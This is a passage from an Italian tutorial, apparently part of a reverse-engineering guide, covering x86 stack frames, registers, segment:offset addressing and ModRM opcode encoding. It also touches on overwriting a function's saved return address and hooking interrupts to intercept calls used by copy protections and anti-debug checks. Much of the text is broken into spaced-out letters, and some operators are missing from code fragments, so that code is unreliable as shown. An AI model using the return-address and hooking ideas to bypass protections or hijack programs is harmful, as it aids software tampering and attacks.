ISTRUZIONE n
RIPRISTINA_INDIRIZZO_DALLO_STACK
FINE_FUNZ_1

...
ISTRUZIONE X
CHIAMA_FUNZ_1
ISTRUZIONE Y

La f unzi one sal ver l i ndi r i zzo nel l o st ack e l o r i pr i st i ner i n usci t a.
Lo st ack vi ene ut i l i zzat o anche per i l sal vat aggi o del l e var i abi l i l ocal i , che
come mol t i sanno, hanno un ci cl o di vi t a par i a quel l o del l a dur at a del l a
f unzi one st essa dove vengono di chi ar at e.
Ad esempi o l e var i abi l i a e b vengono i nser i t e nel l o st ack.

void funzione()
{
int a;
int b;
n = a + b;
}

Una cosa che pot r est e t r ovar e i nt er essant e.
Abbi amo det t o che a e b sono al l ocat e nel l o st ack per cui usando l oper at or e del
C che r est i t ui sce un i ndi r i zzo avr emo che :

&a e &b

sono due i ndi r i zzi che sono r i f er i t i a post i nel l o st ack.
Abbi amo anche det t o che una f unzi one i n ent r at a sal va l i ndi r i zzo dove dovr
t or nar e nel l o st ack.
Quest o si gni f i ca che nel l o st ack t r over emo :

b -> ultimo valore allocato nello stack (2 bytes)
a -> penultimo (2 bytes)
indirizzo_ritorno -> indrizzo di ritorno (4 bytes)

Per cui se t r at t i amo i ndi r i zzi a 4 byt es avr emo che

&a 4

cor r i sponde al post o dove l a f unzi one ha sal vat o l i ndi r i zzo di r i t or no.
Se usassi mo i l punt at or e

*(&a 4)

ar r i ver emmo al cont enut o ovver o al l i ndi r i zzo.
Se a quest o punt o usassi mo i l cost r ut t o di pr i ma per assegnar e un al t r o
i ndi r i zzo pot r emmo ot t ener e che i n usci t a dal l a f unzi one r i t or ner emmo ad un
al t r o punt o che non quel l o da cui si amo par t i t i r i chi amando l a f unzi one
st essa.
Lo st ack vi ene i nol t r e ut i l i zzat o dal l e f unzi oni per sal var e i r egi st r i che
vengono al t er at i dal l e f unzi oni l ocal ment e i n modo da non cr ear e pr obl emi al l e
f unzi oni chi amant i .
Al cuni r egi st r i per convenzi one vengono usat i per passar e i val or i al l e f unzi oni
e per aver e dei val or i di r i t or no.
Al t r i r egi st r i vengono usat i nel l e el abor azi oni l ocal i del l a f unzi one st essa.
I r egi st r i non usat i per quest o t i po di l avor o l egat o agl i ar goment i i n i ngr esso
ed i n usci t a possono esser e sal vat i sul l o st ack i n modo t al e che i l l or o
ut i l i zzo l ocal ment e al l a f unzi one non cr ei pr obl emi .
Ad esempi o pot r ei usar e i l r egi st r o ESI per qual che mot i vo e poi chi amar e una
f unzi one che ut i l i zza quest o r egi st r o.

Mov esi, 99
Call 00404FFC

A 00404FFC pot r ei aver e

Push esi
Mov esi, 45
....
Pop esi
Ret

I n quest o modo i l val or e ESI ver r ebbe mant enut o i nt egr o anche dopo i l suo uso
nel l a f unzi one chi amat a.
Spesso di vent a pr obl emat i co, nel segui r e l e i st r uzi oni di un pr ogr amma, capi r e a
che cosa ser vono l e var i e Push.
Per schi ar i r ci l e i dee possi amo segui r e una l ogi ca.
Le var i e Push pr i ma di una cal l pot r ebber o ser vi r e a passar e ar goment i .
Le Push al l i ni zi o di una f unzi one cont r ol l at e che non cor r i spondano del l e Pop
i n usci t a.
I n quest o caso ser vi r ebber o sol o a sal var e l ambi ent e.

:004039D8 push ebx
:004039D9 push esi
:004039DA push edi
:004039DB mov ebx, eax
:004039DD mov esi, edx
:004039DF mov edi, ecx
:004039E1 mov eax, edi
:004039E3 call DIRPRINT.004039B4
:004039E8 mov ecx, edi
:004039EC test esi, esi
:004039EE je 004039F9
:004039F0 mov edx, eax
:004039F2 mov eax, esi
:004039F4 call DIRPRINT.00402878
:004039F9 mov eax, ebx
:004039FB call DIRPRINT.004038F4
:00403A00 mov dword ptr [ebx], edi
:00403A02 pop edi
:00403A03 pop esi
:00403A04 pop ebx
:00403A05 ret

Nel l esempi o pr ecedent e vedet e che al l i ni zi o del l a f unzi one ci sono t r e push
al l e qual i al l a f i ne cor r i spondono 3 pop.
Not at e anche che nei cal col i l ocal i al l e f unzi oni vengono usat i pr opr i o quei
r egi st r i che vengono sal vat i .
I n quest o modo vi ene sal vaguar dat o i l l or o cont enut o.
Par l avamo pr i ma degl i i nt er r upt s.
Ebbene, anche i n quest o caso vi ene usat o l o st ack i n quant o gl i i ndi r i zzi di
r i t or no dopo l esecuzi one del l e f unzi oni d i nt er r upt s vengono sal vat i i n quest o
segment o.
Se vol et e veder e gl i i ndi r i zzi di dove si t r ovano gl i i nt er r upt s pot et e andar e
ad anal i zzar e i pr i mi 1024 byt es di memor i a.
Come ?
Spesso chi ar r i va dal Basi c al C si l ament a che i l C non possi ede f unzi oni come
quel l e basi c Peek e Poke che ser vono a l egger e e scr i ver e val or i i n memor i a.
I n C quest e f unzi oni non ser vono a nul l a i n quant o gr azi e al l ar i t met i ca dei
punt at or i sono compl et ament e super f l ue.
Se i o def i ni sco :

unsigned int *memory;

si gni f i ca che memor y un punt at or e ad una zona di memor i a di 2 byt es ovver o l e
di mensi oni di un i nt .
La di chi ar azi one pr ecedent e non i ndi ca ancor a a dove punt a memor y i n quant o non
gl i st at o ancor a assegnat o un i ndi r i zzo.
Se f acessi

memory = &var_int;

assegner ei a memor y l i ndi r i zzo di dove si t r ova var _i nt .
Pot r ei per f ar ci un assegnazi one di r et t a ovver o :

memory = (unsigned int *) 0xb0000000L;

I n quest o caso i l cast f or zer ebbe a veder e 0xb000000 come se f osse un i ndi r i zzo
di memor i a.
I n quest o modo f acendo :

memory = (unsigned int *) 0x00000000L;

f or zer ei memor y a punt ar e al l i ndi r i zzo 0 per cui l eggendogl i i l cont enut o
vedr ei l i ndi r i zzo del pr i mo i nt er r upt .
Consi der ando che ogni i ndi r i zzo di 4 byt es f at e pr est o a f ar e i cal col i per
st abi l i r e l i ndi r i zzo gi ust o.
Quest o met odo r i por t a i 4 byt es r el at i vi al l i ndi r i zzo.
Spesso gl i i ndi r i zzi vengono memor i zzat i i n memor i a nel f or mat o

offset:segmento

Se i nvece di def i ni r e l a mi a var i abi l e come punt at or e a 4 byt es, come pot r ebbe
esser e un punt at or e ad un l ong, l a def i ni ssi come un punt at or e ad una st r ut t ur a
del t i po :

struct off_seg {
unsigned int segmento;
unsigned int offset;
};

struct off_seg *memory = (struct off_seg *) 0x00000000L;

Avr ei aut omat i cament e i val or i del l of f set e del segment o di vi si i n

memory.segmento;
memory.offset;

Conoscer e l i ndi r i zzo di dove sono ubi cat e l e r out i nes degl i i nt er r upt s ut i l e
i n quant o spesso necessar i o sost i t ui r l e con nost r e f unzi oni al f i ne di
i nt er cet t ar e cer t e chi amat e.
Al cuni t i pi di pr ot ezi oni er ano basat e su cer t i i nt er r upt s per cui er a
necessar i o capi r e dove er ano chi amat e.
I pr ogr ammi d i nt er cet t azi one avevano un f l usso di quest o t i po :

leggi l indirizzo di dove si trova linterrupt desiderato
prendi lindirizzo della nostra funzione e sostituiscilo

A quest o punt o ogni vol t a che veni va chi amat o l i nt er r upt s desi der at o veni va
r i chi amat a l a nost r a f unzi one l a qual e esegui va i l seguent e codi ce.

Guarda perch stata chiamata
Esegui quello ce devi fare
Se il caso invia al vecchio interrupts di cui conosci lindirizzo

Debugger s come Sof t I ce hanno l a possi bi l i t di vi sual i zzar e l a mappat ur a di
memor i a.
Ut i l i zzando i l comando :

MAPV86

si ot t i ene l a vi sual i zzazi one di come mappat a l a memor i a.
Ad esempi o :

Start Length
0000:0000 0040 Interrupt Vector Table
0040:0000 0030 ROM BIOS Variables
0070:0000 005A I/O System
00Ca:0000 014C DOS
0259:0000 0046 XMSXXXX0
029F:0000 0207 CON
ecc.

Al cune f unzi onal i t i mpor t ant i ssi me l egat e al debug dei pr ogr ammi e qui ndi al l e
pr ot ezi oni che cer cano di el uder e i debugger sono l egat e ad al cuni i nt er r upt s
come ad esempi o I NT1 e I NT3.

CPU

EAX
EBX
ECX
...
Fi no ad or a abbi amo par l at o di segment i senza def i ni r e che cosa si i nt endeva.
Gener al ment e pot r emmo i ndi car e con segment o i l t er mi ne adat t o ad i ndi car e l e
di ver se zone f unzi onal i di un pr ogr amma.
Un pr ogr amma possi ede i n gener e di una zona di codi ce, una di dat i e una i n cui
memor i zza l e i nf or mazi oni moment anee ( l o st ack) .
Pot r emmo usar e i l t er mi ne segment o per i ndi car e quest e zone.
Quest a abi t udi ne nasce per dal f at t o che per mot i vi t ecni ci , dal punt o di vi st a
el et t r oni co, i pr ogr ammi usavano quest i segment i che er ano zone di 64 Kbyt es
ci ascuno.
Una vol t a quando i pr ocessor i er ano a 8 e a 16 bi t s gl i addr ess bus dei si st emi
er ano a 20 bi t s.
Pr i ma di pr osegui r e di amo una r api da r i passat a sul come st r ut t ur at o un si st ema
el et t r oni co i n f or ma gener al i zzat a.





















Logi cament e pot r emmo suddi vi der l o i n 5 bl occhi l ogi ci .
I l pr i mo bl occo quel l o del l a CPU al l a qual e sono demandat i t ut t i i compi t i
l egat i al l esecuzi one del l e i st r uzi oni del si st ema.
La CPU, a seconda del t i po, possi ede al suo i nt er no l i nt er pr et e del mi cr ocodi ce
i l qual e i nt er pr et a l e i st r uzi oni ma a noi di quest o i nt er essa poco.
La cosa pi i nt er essant e l egat a al f at t o che al l i nt er no del l a CPU sono
cont enut i dei r egi st r i che pot r emmo par agonar l i a var i abi l i che i l pr ocessor e
st esso usa per scopi suoi .
Quest i r egi st r i possi edono una cer t a di mensi one anche se i n gener e possono
esser e vi st i come i nsi emi di cont eni t or i pi pi ccol i .
Ad esempi o uno di quest i r egi st r i chi amat o EAX i l qual e gr osso 32 bi t s.
Facendo r i f er i ment o a EAX ut i l i zzi amo un numer o a 32 bi t s.
EAX per pu esser e vi st o come r egi st r o AX a 16 bi t s.
A sua vol t a AX pu esser e usat o come due r egi st r i a 8 bi t s e pr eci sament e i n AL
e AH.
Fat e at t enzi one che non sono r egi st r i a par t e per cui se assegnassi mo un val or e
ad AX e poi uno ad AH andr emmo a scr i ver e sopr a al l e i nf or mazi oni i nser i t e nel l a
pr i ma i st r uzi one.
I n pr at i ca se f acessi mo

MOV AX, 1
MOV AH, 1

I n AX al l a f i ne avr emmo i l numer o r appr esent at o da quel l o bi nar i o
0000000100000001.
La pr i ma i st r uzi one i nser i r ebbe i n AX i l val or e a 16 bi t s 1 che espr esso i n
bi nar i o sar ebbe 0000000000000001.
La seconda i st r uzi one i nser i r ebbe i n AH, che equi val e al l a par t e al t a di AX, i l
val or e a 8 bi t s 00000001. Qui ndi come r i sul t at o avr emmo quel l o i ndi cat o pr i ma.


RAM

N
bytes



I/O
Address Bus
Data Bus
R/W
I n pr at i ca consi der at e i r egi st r i come se f osser o del l e uni on del C.
Per chi non l o sapesse i n C l a di chi ar azi one del l a st r ut t ur a:

struct x {
int a;
int b;
} n;

occuper ebbe i n memor i a l a somma dei membr i di chi ar at i nel l a st r ut t ur a st essa e a
e b sar ebber o due var i abi l i di vi se e di st i nt e.
La di chi ar azi one:

union X {
int a;
char ah;
} n;

r i ser ver ebbe i n memor i a l o spazi o per i l maggi or e del l e var i abi l i def i ni t e.
I n quest o caso per l uni one ver r ebber o al l ocat i 2 byt es r el at i vi al l i nt .
La var i abi l e ah ut i l i zza una par t e del l a memor i a r i ser vat a per a e qui ndi se noi
pr i ma assegnassi mo un val or e ad a e poi uno ad ah andr emmo a sovvr ascr i ver e i l
val or e set t at o nel l a pr i ma i st r uzi one.
La CPU possi ede di ver si r egi st r i al cuni usat i come accumul at or i di uso gener al e
ed al t r i i nvece possi edono scopi pr eci si .
I l r egi st r o EI P ad esempi o mant i ene l i ndi r i zzo del l i st r uzi one da esegui r e.
Al t r i r egi st r i come ad esempi o ESI , ECS ecc. sono usat i per mant ener e gl i
i ndi r i zzi dei segment i .
Avevamo i ni zi at o pr i ma i l di scor so di quest i segment i .
Una vol t a i r egi st r i dei pr ocessor i er ano al massi mo 16 bi t s.
Uno dei bl occhi del si st ema t eor i co vi st o pr i ma er a quel l o r el at i vo al l addr ess
bus ovver o del bus i ndi r i zzi usat o per comuni car e qual e l i ndi r i zzo
i nt er essat o n un oper azi one di l et t ur a o di scr i t t ur a.
Se ad esempi o l a CPU desi der asse l egger e un val or e dal l a RAM dovr ebbe i ndi car e
l i nt enzi one di READ medi ant e un segnal e sul pi n di R/ W t r a CPU e memor i a e
successi vament e dovr ebbe speci f i car e l i ndi r i zzo i nt er essat o t r ami t e l addr ess
bus.
Quest o addr ess bus nei si st emi vecchi , pr i ma del l a compar sa dei pr ocessor i a 32
bi t s, er a di 20 bi t s per cui l a memor i a veni va ut i l i zzat a i n quest o modo.
Tenet e pr esent e che anni f a i chi ps di memor i a non cont enevano cer t o dei Mbyt es
ma spesso non super avano i 32 Kbyt es.
Quando si di sponeva di chi ps da 64 Kbyt es per r aggi unger e 640 Kbyt es ne er ano
necessar i 10.
El et t r oni cament e quest i er ano col l egat i al l o st esso addr ess bus per cui senza
una st r at egi a par t i col ar e l a segnal azi one di i ndi r i zzo nnnn ad uno equi val eva a
f ar gi unger e quest o segnal e a t ut t i i chi ps.
Sper o che l a descr i zi one dat a vi per met t a di compr ender e a gr andi l i nee l e
necessi t che hanno i ndot t o ad adot t ar e i l concet t o di segment azi one.
Chi ar ament e l a descr i zi one pot r emmo def i ni r l a sempl i ci st i ca i n quant o l e
met odol ogi e el et t r oni che sono suf f i cent ement e compl esse ed i n cont i nua
evol uzi one.
Ad ogni modo i l di scor so del l addr ess bus a 20 bi t s andat o avant i per un p
di t empo.
Per chi non avesse segui t o l evol uzi one dei per sonal pu pensar e al mi o caso per
f ar si un i dea a r i guar do dei cami ament i t ecni ci e f i nanzi ar i .
Pensat e che i l pr i mo per sonal l o vi di al l uni vesi t nel 1979 ed er a un CEP 20
con basi c i ncor por at o.
Quando acqui st ai i l pr i mo per sonal er a i l 1983 e si t r at t ava di un PC I BM con
8088 a 4. 77 mhz, 256 kbyt es ( f or se espanso i n quant o di base mi par e f osser o 64
Kbyt es) di memor i a e f l oppy a 360 Kbyt es ( cost o L. 6. 700. 000) .
Nel 1986 passai al 386 Wyse ( L. 11. 200. 000) .
I pr i mi pr ocessor i 386 er ano bacat i per cui l addr ess bus doveva esser e ancor a
t r at t at o come per i sof t war e a 16 bi t s.





4 bits

CS CS CS (CS = chip select)





16 bits








I n pr at i ca i l bus a 20 bi t s i ndi r i zzava sul l addr ess bus i pr i mi 16 medi ant e i
qual i er a possi bi l e i ndi r i zzar e 64 Kbyt es.
Dat o che t ut t i i chi p r i cevevano i l segnal e i decoder , al qual e gi ungevano i 4
bi t s pi al t i , i nvi ava i l segnal e di chi p sel ect al chi p i nt er essat o.
I l met odo f unzi ona i ndi pendent ement e dal numer o di byt es di chi ascun chi ps i n
quant o, ad esempi o, con meno byt es r i manevano pi bi t s da i nvi ar e sul decoder i l
qual e pot eva abi l i t ar e pi chi p.
Per quest o mot i vo f ut i l i zzat o i l r egi st r o di segment o i n quant o 16 bi t s
veni vano ut i l i zzat i per i ndi car e l i ndi r i zzo, che pot eva esser e 64 kbyt es, e i l
segment o i nvece i ndi cava da qual e i ndi r i zzo cont ar e i 64 kbyt es.
L i ndi r i zzo r eal e pu esser e r i cavat o dal seguent e cal col o che ut i l i zza i val or i
i n esadeci mal e.

SSSS0 valore del segmento shiftato verso sinistra di 4 bits
AAAA indirizzo offset (16 bits 0x0000 0xffff)
RRRRR indirizzo reale sulladdress bus (20 bits)

Con l a nasci t a dei pr ocessor i a 32 bi t s i l di scor so non er a pi val i do i n quant o
un EI P a 32 bi t s pot eva i ndi r i zzar e 4 mi l i ar di di byt es senza dover usar e i l
t r uscol i no del segment o o per l omeno i segment i non er ano pi r el egat i al l e
di mensi oni di 64 Kbyt es.
Una t abel l a pi det t agl i at a per i l cal col o del l i ndi r i zzo l a seguent e :

8088/8086 Effective Address (EA) Calculation

Description Clock Cycles
Displacement 6
Base or Index (BX,BP,SI,DI) 5
Displacement+(Base or Index) 9
Base+Index (BP+DI,BX+SI) 7
Base+Index (BP+SI,BX+DI) 8

Base+Index+Displacement (BP+DI,BX+SI) 11
Base+Index+Displacement (BP+SI+disp,BX+DI+disp) 12
- add 4 cycles for word operands at odd addresses
- add 2 cycles for segment override
- 80188/80186 timings differ from those of the 8088/8086/80286
-
CHIP
1
CHIP
2
CHIP
n
DEC
Quant o segue r el at i vo al l a t eor i a del l i ndi r i zzo ef f et t i vo cosa da cer car e di
compr ender e per r i usci r e a di mest i car si i n mezzo a t ut t e l e t i pol ogi e di
i ndi r i zzament o l egat e al l e i st r uzi oni ( MOV AX, [ BP+FFFFF9] , ecc. ) .
Fat e at t enzi one che l e i nf or mazi oni l egat e al l a t abel l a di codi f i ca r el at i va
agl i i ndi r i zzi ef f et t i vi ser ve a cal col ar e gl i op- code most r at i nel l a t abel l a
del l e i st r uzi oni al t er mi ne di quest o capi t ol o.
Mol t i accessi vengono esegui t i nei si st emi x86 medi ant e l a t ecni ca
del l i ndi r i zzament o ef f et t i vo.
Ogni qual vol t a che appar e un i ndi r i zzament o ef f et t i vo nel l a l i st a del l e
i st r uzi oni x86 possi bi l e ut i l i zzar e una gr ossa gamma di oper andi i n quest e
i st r uzi oni .
Quest e i ncl udono r egi st r i gener al i , var i abi l i di memor i a ed i ndi ci var i .
I r egi st r i l i abbi amo gi vi st i ( EAX, AX, EH, AL ecc. )
Le var i abi l i di memor i a possono esser e a byt e, wor d o dwor d e comunque anche di
quest e abbi amo gi par l at o.
La di chi ar azi one avvi ene, l o r i cor do, con :

DATA_PTR DW ?
ESC_CHAR DB ?

I movi ment i di dat i da r e per quest e var i abi l i avvengono con :

MOV SI,DATA_PTR ; legge DATA_PTR in SI
LODSW ; fetch la word puntata da DATA_PTR
MOV DATA_PTR,SI ; salva il valore incrementato da LODSW
MOV BL,ESC_CHAR ; legge la variabile a byte ESC_CHAR

Al t er nat i vament e possi bi l e usar e l e par ent esi [ ] per i ndi car e un i ndi r i zzo.

MOV AL,[02000] ; legge il contenuto di 02000 in AL

Spesso nei l i st at i i n esame si ha che f ar e con st r ane i ndi ci zzazi oni di memor i a
che a vol t e nascondono st r ani concet t i .
I l si st ema x86 suppor t a dei r egi st r i usat i come punt at or i a basi oppur e come
i ndi ci .

BX e BP sono def i ni t i base- r egi st er s.
SI e DI sono def i ni t i i ndex- r egi st er s.

E possi bi l e combi nar e al meno un r egi st r o base, al meno i un r egi st r o d i ndi ce e
cost ant i come punt at or i ut i l i zzat i a r un- t i me per det er mi nar e l i ndi r i zzo
ef f et t i vo.
I seguent i sono esempi di quant o det t o.

MOV AX,[BX]
MOV CX,W[SI+17]
MOV AX,[BX+BP+5]
MOV AX,[BX][BP]5 ; un altro modo d scrivere la stessa istruzione

L i ndi ci zzazi one pu esser e ef f et t uat a di chi ar ando var i abi l i i n una st r ut t ur a
basi ci zzat a ( ?) .

STRUC [BP] ; based structure
BP_SAVE DW ?
RET_ADDR DW ?
PARM1 DW ?
PARM2 DW ?
ENDS

INC PARM1 ; equivalente a INC W[BP+4]

Fi nal ment e l i ndi ci zzazi one pu esser e esegui t a mi xando component i espl i ci t i con
al t r i di chi ar at i .

TABLE DB 4,2,1,3,5
MOV AL,TABLE[BX]

Avevamo det t o che i l pr ocessor e del l a f ami gl i a x86 per l o pi ( sot t ol i neo i n
gener al e i n quant o dal 386 i n su ci sono anche al t r e cose) possi ede quat t r o
r egi st r i di segment o.
Ogni r egi st r o punt a a spazi di 64Kbyt es.
Quando nel l a pr ogr ammazi one esegui amo i st r uzi oni con r i f er i ment i ad i ndi r i zzi
possi amo ut i l i zzar e cer t e i nf or mazi oni i n modo di r et t o od i ndi r et t o.
Ad esempi o i n mol t e i st r uzi oni i l r egi st r o di dat a segment vi ene ut i l i zzat o di
def aul t i n t ut t e quel l e i st r uzi oni che f anno r i f er i ment o a dat i .
Quando i l nost r o pr ogr amma pu st ar e, t r a codi ce dat i e st ack, i n 64Kbyt es
al l or a t ut t i i r egi st r i CS, DS e SS possono punt ar e al l o st esso val or e.
Chi si r i cor da del l ut i l i t y f or ni t a con l e vecchi e ver si oni del DOS, EXE2BI N,
conoscer l o scopo di quest o.
I n pr at i ca quando un pr ogr amma possedeva quest e car at t er i st i che al l or a pot eva
esser e t r asf or mat o i n un f i l e . COM anzi ch . EXE per cui dopo l a compi l azi one e
dopo i l l i nki ng pot eva esser e pr eso da quest o pr ogr amma e t r asf or mat o i n . COM.
La pr er ogat i va er a appunt o che i l t ut t o doveva st ar e i n 64Kbyt es.
Quest o cambi ava i l modo di r i chi amar e l e f unzi oni e di i ndi zzar e l a memor i a.
Par l ando di pr ogr amnmi a pi segment i si doveva par l ar e di chi amat e ed
i ndi r i zzament i i nt r asegment al i ed ext r asegment al i .
Chi ar ament e se una cal l o un mov doveva avveni r e dent r o al segment o i n cui c er a
l i st r uzi one l i ndi r i zzo di r i f er i ment o pot eva esser e a 16 bi t s ment r e se ci si
r i f er i va al l est er no quest o doveva esser e a 32 bi t s ovver o compost o da
SEGMENTO: OFFSET.
I n ef f et t i nel l e i st r uzi oni i nt r asegment al i i r egsi t r i di segment o veni vano
usat i di def aul t .
Facci amo un esempi o supponendo di vol er muover e i n AL i l val or e i n memor i a
punt at o da BX.

MOV AL, [BX]

I n quest o caso i l r egi st r o DS vi ene usat o di def aul t per compr ender e a qual e
segment o DX punt a.
Se si desi der a t r at t ar e BX nel code segment si deve codi f i car e :

CS MOV AL, [BX]

Fat e at t enzi one che quest o met odo vi ene i ndi cat o come segment ovver r i de e che
f unzi ona SOLO con l i st r uzi one successi va.
Se si avesse CS che punt a ad un segment o e DS ad un al t r o l a sequenza :

CS
MOV AL, [BX]
MOV AH, [BX]

muover ebbe i n AH e AL due val or i di f f er ent i ( pr obabi l e) o per l omeno der i vant i da
due i ndi r i zi di ver si .
Esi st ono i n macr oassembl er di r et t i ve ( ASSUME ecc. ) che agi scono sui segment i , ma
come ho det t o pr i ma nei di sassembl at i non compai ono.
Ri cor dat evi anche che t ut t e l e i st r uzi oni per met t ono i ndi r i zzi ef f et t i vi comr e
oper andi .
Ogni i st r uzi one con un i ndi r i zzo ef f et t i vo ha un encode byt e conosci ut o come
ef f ect i ve addr ess byt e segui t o da un op- code di 1 byt e per l i st r uzi one.
Per mot i vi oscur i l i nt el chi ama quest o byt e ModRM byt e.
Se l i ndi r i zzo ef f et t i vo una var i abi l e di memor i a o un l ocazi one di memor i a
i ndi ci zzat a con un val or e di of f set cost ant e di ver so da 0 al l or a i l byt e
del l i ndi r i zzo ef f et t i vo sar i mmedi at ament e segui t o dal l ammont ar e del l of f set .
Quest ammont ar e nel r ange t r a 128 e +127 r appr esent at o da un si ngol o byt e con
segno cont r assegnat o da D( nel l a t abel l a seguent e.
L ammont ar e che r i chi ede 16bi t s come qant i t di memor i a cont r assegnat o da D16.
Come t ut t e l e quant i t a 16 bi t s nel l a f ami gl i a x86 l a WORD sal vat a con i l
byt e pi si gni f i cat i vo pr i ma.
La seguent e t abel l a or gani zzat a i n 32 r i ghe da 8 col onne e r appr esent ano i
possi bi l i val or i per un oper ando r el at i vo ad un i ndi r i zzo ef f et t i vo : 8 egi st r i
e 24 modi di i ndi ci zzazi one del l a memor i a.
Un vent i ci nquesi mo modo, [ BP] con zer o come spi azzament o, sat o pr e- r i empi t o da
una sempl i ce var i abi l e di memor i a.
Se dovet e codi f i car e [ BP] con nessun spi azzament o dovet e pr ender e [ BP] +D8 con i l
val or e di D8 a zer o.
Le 8 col onne del l a t abel l a r i f l et t ono i nf or mazi oni r el at i ve al byt e
del l i ndi r i zzo ef f et t i vo.
Nor mal ment e quest a l i dent i t di al t r i oper andi ( sempr e r egi st r i ) di
i st r uzi oni a 2 oper andi .
Quest e i st r uzi oni sono i dent i f i cat e da un / r segui t o dal codi c4e oper at i vo.
Al cune vol t e l e i nf or mazi oni passat e pr et endono un suppl ement o per
l i dent i f i cazi one del l e st esse i st r uzi oni .
Per esempi o supponi amo di vol er conoscer e pr eci sament e i byt es del l a codi f i ca
del l i st r uzi one SUB B[ BX+17] , 100.
Quest a i st r uzi one sot t r ae una quant i t ( 100) da un i ndi r i zzo ef f et t i vo
( B[ BX+17] ) .
Consul t ant o l a l i st a del l e i st r uzi oni si t r ova l a f or ma gener al e SUB eb, i b
( cer cat e l e i st r uzi oni nel l a l i st a al l a f i ne del capi t ol o) .

80 /5 ib SUB eb,ib Subtract immediate byte from EA byte

L opcode 80 / 5 i b.
I l / 5 denot a un byt e d i ndi r i zzo ef f et t i vo i l cui val or e vi ene pr eso dal l a
col onna 5 del l a seguent e t abel l a.
L of f set 17 deci mal e ( 11 hex) si adat t a a un si ngol o byt e D8 i l qual e pr ende i l
val or e dal l a r i ga [ BX] + D8.
La t abel l a ci di ce che l i ndi r i zzo ef f et t i vo 6F.
I mmedi at ament e dopo 6F c l of f set ( 11 hex) .
Coni der ando che i l val or e i b- val ue 100 ( 64 hex) al l or a l i st r uzi one SUB
B[ BX+17] , 100 80 6F 11 64.
Ri pet o qnt o avevo gi accennat o al l i ni zi o del capi t ol o.
La l i st a da ut i l i zzar e combi nat a al l a seguent e t abel l a quel l a r i por t at a al
t er mi ne di quest a sezi one.


s = ES CS SS DS
rb = AL CL DL BL AH CH DH BH
rw = AX CX DX BX SP BP SI DI
digit= 0 1 2 3 4 5 6 7
Effective
EA byte address:
values: 00 08 10 18 20 28 30 38 [BX + SI]
01 09 11 19 21 29 31 39 [BX + DI]
02 0A 12 1A 22 2A 32 3A [BP + SI]
03 0B 13 1B 23 2B 33 3B [BP + DI]
04 0C 14 1C 24 2C 34 3C [SI]
05 0D 15 1D 25 2D 35 3D [DI]
06 0E 16 1E 26 2E 36 3E D16 (simple var)
07 0F 17 1F 27 2F 37 3F [BX]
40 48 50 58 60 68 70 78 [BX + SI] + D8
41 49 51 59 61 69 71 79 [BX + DI] + D8
42 4A 52 5A 62 6A 72 7A [BP + SI] + D8
43 4B 53 5B 63 6B 73 7B [BP + DI] + D8
44 4C 54 5C 64 6C 74 7C [SI] + D8
45 4D 55 5D 65 6D 75 7D [DI] + D8
46 4E 56 5E 66 6E 76 7E [BP] + D8
47 4F 57 5F 67 6F 77 7F [BX] + D8
80 88 90 98 A0 A8 B0 B8 [BX + SI] + D16
81 89 91 99 A1 A9 B1 B9 [BX + DI] + D16
82 8A 92 9A A2 AA B2 BA [BP + SI] + D16
83 8B 93 9B A3 AB B3 BB [BP + DI] + D16
84 8C 94 9C A4 AC B4 BC [SI] + D16
85 8D 95 9D A5 AD B5 BD [DI] + D16
86 8E 96 9E A6 AE B6 BE [BP] + D16
87 8F 97 9F A7 AF B7 BF [BX] + D16
C0 C8 D0 D8 E0 E8 F0 F8 ew=AX eb=AL
C1 C9 D1 D9 E1 E9 F1 F9 ew=CX eb=CL
C2 CA D2 DA E2 EA F2 FA ew=DX eb=DL
C3 CB D3 DB E3 EB F3 FB ew=BX eb=BL
C4 CC D4 DC E4 EC F4 FC ew=SP eb=AH
C5 CD D5 DD E5 ED F5 FD ew=BP eb=CH
C6 CE D6 DE E6 EE F6 FE ew=SI eb=DH
C7 CF D7 DF E7 EF F7 FF ew=DI eb=BH

D8 denotes an 8-bit displacement following the EA byte,
to be sign-extended and added to the index.

D16 denotes a 16-bit displacement following the EA byte,
to be added to the index.

Default segment register is SS for effective addresses containing
a BP index; DS for other memory effective addresses.


Ri t or ni amo al di scor so del l a segment azi one che f acevamo pr i ma di quest a par t e
l egat a agl i i ndi r i zzi ef f et t i vi .
Chi ar ament e f at t or i di compat i bi l i t con i sof t war e vecchi ha obbl i gat o a
mant ener e quest o met odo dei segment i at t i vo per cui ancor a oggi t r ovi amo spesso
gl i i ndi r i zzi speci f i cat i con

segmento:offset

La vi si one l egat a al l uso dei var i segment i si cur ament e maggi or e nei
pr ogr ammat or i che vengono dal Li nguaggi o C dat o che i n quasi t ut t i gl i al t r i
l i nguaggi l a vi si one di quest i t r aspar ent e.
I l pr ogr ammat or e i n C, ad esempi o, sa bene che l e var i abi l i di chi ar at e
l ocal ment e ad una f unzi one, senza speci f i cat or i di cl assi di memor i a
par t i col ar i , vengono al l ocat e dent r o al segment o di st ack per cui sempr e cur a
del pr ogr ammat or e al l ocar e, medi ant e speci f i ci f l ags del compi l at or e, l e
di mensi oni adat t e di quest o.
Nel C si deve anche saper e che l e var i abi l i gl obal i vengono def i ni t e dent r o al
segment o dat i pr opr i e del modul o i n cui compai ono, senza cont ar e che spesso si
deve di mest i car e i n mezzo ai var i #pr agma che i nf l ui scono sui nomi e sul l e
t i pol ogi e dei segment i .
Un pr ogr amma gener al ment e cost i t ui t o da codi ce e da dat i .
Ogni i st r uzi one del pr ocessor e di spone di codi ce di oper azi one che def i ni sce
anche l e di mensi oni del l oper azi one st essa e dei suoi oper andi .
I l codi ce nor mal ment e ubi cat o i n un o speci f i co segment o che pr ende appunt o i l
nome da quest o ovver o possi ede i l nome di code segment .
I dat i usat i dal pr ogr amma possono esser e al l ocat i dent r o ai segment i dat i
oppur e dent r o al segment o di st ack.
Ment r e al t r i l i nguaggi possi edono una vi si one f er r ea di quest i concet t i , anzi
quasi sempr e l i r endono t r aspar ent i al l ut ent e, i l l i nguaggi o C obbl i ga i l
pr ogr ammat or e a t ener e gl i occhi aper t i .
Spesso er ano comuni er r or i i n esecuzi one del t i po St ack over f l ow .
Se si andava a veder e bene i l t ut t o ci si accor geva che magar i i l compi l at or e di
def aul t al l ocava 4096 byt es per i l segment o di st ack.
Andando ad anal i zzar e i l codi ce si t r ovava i n un punt o :

void function()
{
int a[5192];
...
}

I l pr ogr amma al l ocava nel l o st ack 5192 * di mensi one_i nt byt es nel l o st ack e
qui ndi . . . St ack over f l ow .
Al l or a l a sol uzi one er a quel l a di chi eder e al compi l at or e di r i di mensi onar e l o
st ack.
I n assembl er l a def i ni zi one dei segment i avvi ene con l a speci f i ca di SEGMENT ed
